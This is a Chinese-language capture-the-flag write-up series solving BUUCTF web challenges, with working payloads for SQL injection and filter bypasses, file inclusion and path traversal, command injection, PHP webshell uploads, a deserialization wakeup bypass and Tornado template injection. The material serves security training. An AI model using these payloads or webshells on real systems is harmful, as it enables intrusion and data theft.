BUUCTF-Web系列-01-21
[极客大挑战 2019]EasySQL 1
访问靶机地址,发现如下页面,在登录框中的用户名输入admin,密码输入admin提示密码错误。


由于题目给的提示是sql注入,这里尝试在用户名处构造 sql 注入语句,admin' or sleep(2) # 发现页面延时 N 秒,当构造 admin' or sleep(0) # 的时候,页面并没有延时,因此此处是存在 sql 注入的。
最终构造万能密码 admin' or 1=1 # 得到FLAG。

[极客大挑战 2019]Havefun 1
访问靶机网址,出现如下页面。

右键查看源代码看到注释的PHP代码。

代码的逻辑是接收通过 GET 请求传入的 cat 参数,当 cat 参数的值为 dog 的时候会输出一段信息,我们这里尝试传入

[HCTF 2018]WarmUp 1
访问靶机网址,出现如下页面。

右键查看源代码,发现注释信息 source.php ,尝试访问该文件,得到如下 PHP 源码。

1 |
|
以上功能实现的功能就是通过接收 file 参数,实现文件包含的功能,但是 file 参数的值经过 emmm 类下的 checkFile函数进行检验。
1 |
|
这里我们来看checkFile 函数的代码,我们的目的是需要 checkFile 函数返回 true,所以我们要逐个分析 checkFile 函数中的每个 if 判断。
第一个 if 判断:
1 | # 定义白名单 |
第二个 if 判断:
1 | # file的值需要是 $whiltlist 白名单所定义的 |
第三个 if 判断:
1 | # 对 file 参数的值截取并赋值给$_page 功能: 例如 file=index.php $_page的结果就为index.php |
mb_substr(): 获取部分字符串
| 参数 | 说明 |
|---|---|
| string | 从 string 字符串提取子字符串 |
| start | 提取子字符串的位置 |
| length | 提取子字符串的长度 |
mb_substr() 函数示例:
1 |
|
mb_strpos(): 查找字符串在另一个字符串中首次出现的位置
| 参数 | 说明 |
|---|---|
| haystack | 要被查找的字符串 |
| needle | 在 haystack 中查看这个字符串 |
mb_strpos() 函数示例:
1 |
|
第三个 if 判断:
1 | # 对file参数的内容进行解码赋值给$_page 其他的逻辑跟第二个if判断一致。 |
这里我们通过审计代码得知,这里可以包含 source.php 和 hint.php 文件,那么我们先尝试包含 hint.php 文件。

告诉我们 flag 在 ffffllllaaaagggg 文件中。
如果我们为 file 参数传入 file=source.php?../../../../../../../../../ffffllllaaaagggg 即可包含到ffffllllaaaagggg文件当中。

这里能包含的原因是因为,当我们 file 的值为 source.php?../../../../../../../../../ffffllllaaaagggg 经过如下代码之后的结果如下:
1 | # file=source.php?../../../../../../../../../ffffllllaaaagggg |
最终可以读取到 ffffllllaaaagggg 文件的内容。
[ACTF2020 新生赛]Include 1
访问靶机地址,看到如下页面:

点击 tips 跳转到如下页面,并观察 url 以及题目的名称,猜测是文件包含。

这里传入了 file=flag.php,显示的 Can you find out the flag? 应该是flag.php的文件内容,这里我们访问 flag.php 发现内容一致。

这里尝试包含/etc/passwd 文件,发现成功包含。

那么后端 index.php 文件的核心代码大概为:
1 |
|
当我们点击 tips 的时候,发现传入了 file=flag.php,由于 flag.php 是PHP文件,我们如果使用正常文件包含无法读取到其内容,需要使用 PHP 的 filter 协议。
1 | ?file=php://filter/read=convert.base64-encode/resource=flag.php |

对以上内容进行 base64 解码即可得到 flag.php 文件的内容。

[ACTF2020 新生赛]Exec 1
访问靶机地址,得到如下页面:

这里直接使用命令拼接符 ; 即可执行任意命令。

得到 FLAG。

[GXYCTF2019]Ping 1
访问靶机页面,看到如下内容,这里让传入 ip 参数。

使用命令拼接符 ; 即可执行 ls 命令,发现存在 flag.php文件。

尝试使用 ;tac flag.php 读取该文件的内容,发现提示不能有空格。

过滤空格可以使用如下方法代替:
| 方法 |
|---|
$IFS$1 |
$IFS |
${IFS} |
{cat,1.txt} |
%09 |
cat<flag.txt |
cat<>flag.txt |
接着提示不能有flag关键字。

那么过滤FLAG我们可以使用如下方法绕过:
| 方法 | 说明 |
|---|---|
fl* |
* 表示任意长度的任意字符 |
fl? |
? 表示一个长度的任意字符 |
fl[a-c]g |
[a-z] 表示一个长度的a-z之间的字符 |
当我们传入 ?ip=127.0.0.1;tac$IFS$1fla?.php 提示不能有符号,以上三种方法都不能用。

尝试为使用变量代替(PS: 因为Linux系统是支持给变量赋值并且使用变量的):
1 | ;a=g;tac$IFS$1fla$a.php |

得到 FLAG。
[强网杯 2019]随便注 1
fuzz
通过如下 payload 得知,该sql语句通过单引号进行闭合。
1 | 1' and 1=1# 有结果 |
由于页面展示所查询出来的数据,故而先尝试使用联合查询注入。先获取字段数
1 | 1' order by 3# 提示 未知的列3 |
通过以上状态得知,当前 sql 语句所查询的字段数为 2 个。
接着通过 union 注入 尝试获取数据
1 | 1' union select 1,2 # |
页面提示:

得知 select、update、delete、drop、insert、where、以及. 被过滤,并且使用了修饰符i(不区分大小写进行过滤)。
经过尝试,无法绕过。
再次传入如下 payload :
1 | 1' |

页面发生报错,这里可以尝试报错注入获取当前数据库名、当前数据库版本、以及当前用户名。其他的无法获取,因为关键字被过滤。
1 | 1' or extractvalue(0x7e,concat(0x7e,(version())))# 获取数据库版本 |

由于这里过滤了 update 因此 updatexml 无法使用。
前置知识
所谓堆叠注入就是指 mysql 程序执行语句是通过;结束的,因此一行中其实是可以执行多条sql语句的,在 mysql 程序当中。
1 | mysql> select user();select version(); |
但是想通过 php 利用 ; 执行多条 sql语句,是需要使用到 mysqli_multi_query() 函数 或 mysqli->multi_query() 函数的。
堆叠注入
这里我们尝试传入如下 payload,列出所有库名:
1 | 1';show databases# |

尝试获取当前库下的所有表:
1 | 1';show tables# |

发现存在表1919810931114514 和 words,分别查看其字段:
查看 1919810931114514 表中的字段:
1 | 1';desc `1919810931114514`# |

发现 1919810931114514 表中存在 flag 字段。
查数据
接下来我们要执行的语句就是:
1 | select flag from 1919810931114514 |
但是这里 select 关键字别过滤,无法通过常规的手法进行 bypass,需要使用预编译的形式进行绕过。
所谓预编译就是事先准备一个 sql模板,接着对其进行传参。
预编译执行sql语句示例:
1 | # 准备预编译模板名为 sqltpl 执行的语句为 select * from users where id=? 其中?为占位符 |
由于预编译语句前期构造模板的语句,是字符串形式,因此我们可以通过concat()函数拼接select,以达到绕过对select 关键字的检测,如下:
1 | mysql> set @sql=concat('se','lect flag from `1919810931114514`'); |
接着将该 sql语句 带入到模板中即可。
构造 payload:
1 | 1'; set @sql=concat('se','lect flag from `1919810931114514`');prepare sqltpl from @sql;execute sqltpl# |
拆分就是如下:
1 | 1'; |
页面提示如下代码,使用strstr 检测了 set 和 prepare 关键字,使用大小写即可绕过。

再次构造:
1 | 1'; Set @sql=concat('se','lect flag from `1919810931114514`');Prepare sqltpl from @sql;execute sqltpl# |

其他方法
由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:
1 | select * from words where id = ''; |
我们将表 1919810931114514 名字改为 words,flag 列名字改为 id,那么就能得到flag的内容了。
修改表名和列名的语法如下:
1 | 修改表名(将表名user改为users) |
最终PAYLOAD如下:
1 | 1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# |
然后使用1' or 1=1#即可查询出 flag
题目源码
1 | <html> |
docker 地址:https://github.com/glzjin/qwb_2019_supersqli/tree/master
[SUCTF 2019]EasySQL 1
fuzz
输入 1 或 任意一个非0数字 页面打印一个数组

尝试进行闭合:
1 | 1' and 1=1 # |
页面提示 Nonono. 猜测有过滤。
解法一
看了WP之后,才发现还有这种玩法,以下是题目的关键 SQL 语句:
1 | $sql = "select {$_POST['query']} || flag from Flag"; |
在本地进行测试:
1 | mysql> select 1 || flag from flag; |
这里使用 or 运算符,mysql 的 or 运算符跟编程语言的 or 运算符 略微有所不同。
“||”或者“OR”表示“或”运算。所有数据中存在任何一个数据为非0的数字时,结果返回1;如果数据中不包含非0的数字,但包含NULL时,结果返回NULL;如果操作数中只有0时,结果返回0。“或”运算符“||”可以同时操作多个数据。
这也是为什么如上结果返回 1 的原因。
最终传入 *,1 即可得到FLAG,因为 * 表示查询所有字段。本地测试:
1 | mysql> select *,1 || flag from flag; |

解法二 堆叠注入
构造如下PYALOD 获取当前库下的所有库名:
1 | 1;show tables; |

发现存在FLAG表,但是不能直接查询。因为后端过滤了 select 关键字,这里可以修改sql_mode的值,将原本的管道符 || or 运算符,作为拼接符(类似于concat)。
示例:
1 | mysql> select 1||2; |
构造PAYLOAD:
1 | 1;set sql_mode=PIPES_AS_CONCAT;select 1 |
整个 SQL 语句为:
1 | select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || flag from Flag |
类似于:
1 | select 1; select concat(1,`flag`) from Flag |

题目docker镜像:
https://github.com/glzjin/suctf_2019_easysql/tree/master
[极客大挑战 2019]Secret File 1
访问靶机地址,出现如下页面:

右键查看源代码,得到隐藏的URL连接,点击链接。

或在页面中 ctrl + a 选择,之后点击

这里点击查阅,然后提示查阅结束,观察状态码发现是302跳转。

随机点击查阅的时候,使用 burp 进行抓包,并发到重发器中。

得到隐藏的文件 secr3t.php,访问该页面,得到如下源码:

通过代码审计发现这里是一个文件包含,通过 GET 请求接收 file 参数,并使用 stristr() 对 file 参数的值进行检索,不能有../ 和 tp 以及 input 和 data 关键字。页面又提示 flag 在 flag.php 里,因此使用php://filter 伪协议读取 flag.php 文件的内容即可。

将 Base64 编码解码即可得到 FLAG。

[极客大挑战 2019]LoveSQL 1
fuzz
在用户名处尝试万能用户名,密码随便输入:
1 | admin' or 1=1# |

登录成功,但是并没有得到 FLAG,猜测 FLAG 可能在数据库中。
继续在用户名处构造如下PAYLOAD:
1 | admin' |
页面发生报错,这里是存在报错注入的。
获取FLAG
构造PAYLOAD:
1 | # 获取当前库名 |

这里也是存在联合查询注入的:
1 | 123' union select 1,2,3# |

构造PAYLOAD获取当前库下所有表名:
1 | 123' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# |

构造PAYLOAD获取 l0ve1ysq1 的字段名
1 | 123' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1' # |

构造PAYLOAD获取 l0ve1ysq1 的数据:
1 | 123' union select 1,group_concat(username,0x7e,password),3 from l0ve1ysq1 where username='flag'# |

[极客大挑战 2019]Http 1
访问靶机地址,出现如下页面:

查看页面源代码,得到隐藏文件 Secret.php ,访问即可:
页面提示 不是来自 某某网站,这里尝试在请求头加入: Referer: https://Sycsecret.buuoj.cn

接着让我们使用 Syclover" browser 浏览器。我们修改请求头中的 User-Agent 字段即可。

接着提示不是只有只能在本地阅读,这里加入 X-Forwarded-For: 127.0.0.1


[极客大挑战 2019]Knife 1
访问靶机地址,看到如下页面,直接给出了 webshell 的连接密码,菜刀或者蚁剑连接即可。


或手动进行利用:

[极客大挑战 2019]Upload 1
fuzz
由于是头像上传,这里尝试上传一个以 .jpg 结尾,但是文件内容为 <?php phpinfo();?> 的文件。

页面提示文件内容包含<?,这里可以判断,对文件的内容进行了检查,不能带有 <?。
这种过滤 <? 或 <?php 等关键字的时候一般可以通过如下方式进行绕过。
方法一:
1 | <script language="php">phpinfo();</script> |

方法一有个硬性条件,就是PHP版本需要 < PHP7,这里我们通过信息收集发现,该服务器的PHP版本为 PHP/5.5.9

方法二:
1 | phpinfo(); |
但是由于本道题过滤的是<? 因此方法二是被 pass 掉的。

扩展: 如果服务器的PHP程序开启了 asp 标签,可以使用如下代码绕过:
1 | <% phpinfo();%> |
这里我们尝试使用方法一,上传之后页面提示,说是假的图片。

尝试为图片加上 GIF 图片的文件头。GIF89a:

再次进行上传,发现上传成功。

那么这里我们将文件名修改为 1.php 再尝试进行上传,提示不是图片。

在上传的数据中修改文件的 Content-Type 将其修改为图片的 MIME 类型。

接着提示 NOT!猜测 PHP 后缀应该是在黑名单当中

那么除了 php 后缀以外,还可以尝试 php3、php4、php5、pht、phtml都可能会被解析。

最终尝试上传 .phtml 的文件成功上传。

但是上传的目录并没有给出,需要进行目录扫描

但是一般上传目录都是 upload 或 uploads,本道题也不例外。

获取FLAG
新建一个名为 shell.phtml 的文件,其内容如下:
1 | GIF89a<script language="php">eval($_REQUEST['cmd']);</script> |
在上传的数据包中,将 Content-Type 修改为 image/png 即可。

接着使用蚁剑连接即可。

[ACTF2020 新生赛]Upload 1
fuzz
访问靶机地址,出现如下页面:

通过右键检查发现,这里在提交 form 表单的时候 执行了 checkFile函数,当然这里是 js 的函数。

通过右键查看源代码发现,这里唯一引用了一个 js 文件,访问即可看到代码的逻辑。


先创建一个名为 1.jpg 内容为 <?php @eval($_REQUEST['cmd']);?> 的文件。接着将其进行上传,并使用 burp 进行抓包,再将后缀修改为 1.php 尝试进行绕过。

发现无法绕过,这里尝试将其修改为 1.jpg,查看是否能上传成功:

发现上传成功,说明这里并没有对文件的内容进行检查,只是对后缀做了检查。

上传了一个非图片的文件,也上传成功了,那么说明这里是基于黑名单的后缀名过滤,只是不允许上传 .php 后缀的文件。
获取FLAG

上传 .phtml 的文件成功了,这里尝试进行访问:

成功利用,使用蚁剑连接即可。
[极客大挑战 2019]BabySQL 1
fuzz
访问靶机地址,出现如下页面:

尝试传入如下PAYLOAD:
1 | admin' or 1=1# |
页面发生报错:

通过观察报错语句,可以得知,这里对我们传入的 or 进行了剔除,尝试使用双写进行绕过:
1 | admin' oorr 1=1# |

成功登录,接着尝试构造(or 需要双写 以及 by):
1 | admin' oorrder bbyy 4 # |
提示未知的列4,故而该查询语句有3个字段。
继续构造PAYLOAD(union 和 select 都需要双写):
1 | 123' ununionion seselectlect 1,2,3 # |

获取FLAG
构造 PAYLOAD 获取所有表名:
1 | 123' uniunionon seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database()# |

构造 PAYLOAD 获取 geekuser 的所有字段:
1 | 123' uniunionon seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='geekuser'# |

构造 PAYLOAD 获取 geekuser 表的数据:
1 | 123' uniunionon seselectlect 1,group_concat(username,passwoorrd),3 frfromom geekuser# |

发现并没有FLAG,猜测可能在另外一张表中。
构造 PAYLOAD 获取 b4bsql 表的所有字段:
1 | 123' uniunionon seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'# |

构造 PAYLOAD 获取 b4bsql 表的FLAG
1 | 123' uniunionon seselectlect 1,group_concat(username,0x7e,passwoorrd),3 frfromom b4bsql whwhereere username='flag' # |

[极客大挑战 2019]PHP 1
前置知识 CVE-2016-7124
漏洞危害:当成员属性数目大于实际数目时可绕过wakeup方法
版本限制:
PHP5: < 5.6.25
PHP7: < 7.0.10
漏洞演示:

详情:https://zhuanlan.zhihu.com/p/446857016
获取FLAG
根据页面的提示说有备份网站的习惯,猜测有备份文件,可能是index.php.bak 或 www.zip 以及 www.tgz

备份文件为 www.zip。下载即可得到网页的源码,下载得到的 flag.php 文件中的FLAG是假的。

这里我们发现了 class.php 文件 以及 index.php 文件。
index.php 关键代码:
1 |
|
class.php 文件代码:
1 |
|
其实代码很简单,主要的PHP代码如下:
1 | public function __construct($username,$password){ |
我们需要 将username 的值设置为 admin 即可打印 FLAG,但是这里当我们在反序列化 Name类的时候,会自动调用 __wakeup() 魔术方法,为其 username 重新赋值为 guest。
我们的目的,就是不让wakeup方法执行即可,构造如下POC:
1 |
|
由于 username 和 password 是私有属性,需要在其类名的前面加上%00,表示00字符。
1 | O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
接着就是需要绕过 wakeup 函数的执行,将属性长度从原来的 2 修改为 3 或其他大于2的值即可。
1 | O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
最终传入:
1 | ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |

[ACTF2020 新生赛]BackupFile-1
根据题目名称可以得知,这里是个备份文件题目,直接尝试访问 index.php.bak 发现下载了该文件,文件内容如下:
1 |
|
通过审计代码得知,我们需要通过 GET 请求传入 key 参数,且该参数的值必须为数值。接着将 $key 转为整型与字符串 123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3 做 == 匹配,由于PHP是弱类型语言,因此 int 类型 与 字符串类型 做 == 匹配的时候,会先将字符串类型转为 int 类型,而字符串类型 123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3为123,因此我们传入 key=123 即可得到FLAG。

[RoarCTF 2019]Easy Calc-1
访问靶场出现如下页面:

右键查看源代码,发现一段JS代码和一段提示:

发现这里将我们输入的内容传给了 calc.php 文件,这里我们直接访问calc.php得到如下源码:

通过审计源码可知,这里过滤了如下内容:
空格
TAB键
回车
单引号
双引号
反引号
左右中括号
美元符号
\
^
我们这里尝试传入 ?num=phpinfo();,发现页面返回403,根据页面前面的提示,猜测可能是WAF过滤。

这里尝试在参数num前面加上一个空格。绕过WAF的过滤,因为后端匹配的是num,而不是空格num。

由于这里过滤了单双引号。因此没办法使用函数加参数的形式。但是这里可以借助PHP的 chr()函数,该函数可以将ASCII码转为对应的字符。
1 | var_dump(scandir(chr(47))); |

继续构造PAYLOAD,获取/f1agg文件的内容。
1 | var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))); |

[极客大挑战 2019]BuyFlag-1
访问靶机出现如下页面,在页面源代码中发现 PAYFLAG 页面,访问该页面:

访问之后的页面如下:

页面内容翻译后:
FLAG NEED YOUR 100000000 MONEY 译:FLAG 需要你的100000000美元
If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!译:
如果您想购买FLAG:
你一定是中大的学生!!!
你必须回答正确的密码!!!
使用 burpsuite 抓取该页面,通过页面返回内容得到如下源码:

1 | // ~~~post money and password~~~ |
从源码中可以得知,这里需要通过POST请求传入参数 money 和 password ,根据代码审计可知,password 参数需要传入404a。
至于 money 参数的值需要为 100000000,因为前面说过需要这个金钱来购买FLAG。同时需要将 Cookie 属性中的 user 值设置为 1。
构造请求:

页面提示 数字的长度太长了,那么这里我们可以使用科学计数法的形式代替。比如1E2。

但是页面提示钱少了,我们换成1E2000,就得到了FLAG。

[BJDCTF2020]Easy MD5-1
访问靶场,出现如下输入框,输入内容,并没有回显,于是这里通过 burpsuite 进行抓包。

在服务器的响应字段中,发现提示信息。如下:

这里前期在做的时候以为是SQL注入,尝试以下各种,但最终无果。
1 | 123) or sleep(5) %23 |
最后看了其他师傅WP才知道,这里的MD5函数是PHP的,而不是SQL语句中的MD5函数。我们查看PHP的官方文档,了解MD5函数。

通过查看PHP的官方手册得知,当md5函数的第二个参数为true的时候,则MD5以原始二进制格式返回。例如:

我们输入的任何注入PAYLAOD,都先会被PHP的md5函数加密为MD5的原始二进制,因此无法达到利用的效果,但是如果我们输入的内容,刚好加密为带有 ' or ' 这种闭合形式的呢。比如字符串 ffifdyop 的MD5二进制结果。

尝试传入ffifdyop

发现页面跳转至levels91.php页面。这里我们访问该页面,之后右键查看源代码:


通过审计源码,这里是存在弱类型匹配的,我们可以传入?a[]=1&b[]=2进行绕过,也可以使用?a=s878926199a&b=QNKCDZO绕过。
接着跳转至如下页面:

由于这里用的是强等于,因此这里无法使用?a=s878926199a&b=QNKCDZO进行绕过。只能为md5()函数传入数组,由于md5函数无法加密数组,因此会报错,返回NULL。
1 | param1[]=1¶m2[]=2 |

[护网杯 2018]easy_tornado-1
题目名称是 easy_tornado,而 tornado 是Python的一个框架。
访问靶机一共出现了三个文件:

访问 flag.txt 提示:flag in /fllllllllllllag ,也就是说 flag 在根目录下的 fllllllllllllag 文件中。
访问 welcome.txt 提示:render ,他是 tornado 里面的渲染函数,就是对web网页界面进行编辑的函数,和template 的渲染是相似的,主要区别render是以脚本的方式进行渲染,template是以html方式进行渲染。这个重点在于是服务器模板,基本可以确定这是ssti(服务器模板注入),服务器模板注入和sql注入等有相同性,问题的关键在于传参。
访问 hints.txt 提示md5(cookie_secret+md5(filename)),这里我们可以得知,文件的hash由cookie_secret值+文件名的MD5值
我们打开每一个文件,发现URL中都有一个共同的特点,那就是同时传入了filename和filehash参数。
1 | # 访问flag.txt |
根据打开链接的url,里面有两个参数一个是filename,一个是filehash,也就是说 filename 是第一个文件的提示,filehash 是第三个文件的提示,那么问题就是如何获取cookie_secret。
cookie_secret不是通用的属性,也就可以确定,应该是存放在服务器模板中的值,问题就转化为通过传参获取cookie_secret 的值。
我们这里修改 filename 参数的值,将其修改为任意字符,比如我这里修改为 x1ong,发现页面返回Error。

而返回 Error 的原因是不是由参数 msg 控制呢,我们尝试将参数 msg 的值修改为 x1ong,发现页面返回 x1ong,因此我们可以得知,这里可以通过参数msg传入。

Templates and UI — Tornado 6.1 documentation这个链接是tornado的官方文档,一个是通过文档我们获知传参的类型,另外一个是找到cookie_secret的赋值方法。
在template syntax中

传递的参数值应为{{值}}的格式。
在官方文档中搜索 cookie_secret ,cookie_secret 在tornado.web.RequestHandler中的application的settings中,也就是需要传参RequestHandler.application.settings,但是传过去提示500。



传入{{handler.settings}}即可得到 cookie_secret。

最后将 cookie_secret 的值 加上 /fllllllllllllag 文件名的MD5值 最后整体再做一个MD5加密即可。
1 | md5(cookie_secret+md5(filename)) |

最终的PAYLOAD:
1 | file?filename=/fllllllllllllag&filehash=b916d345a879e09e95fad423dae6d84e |









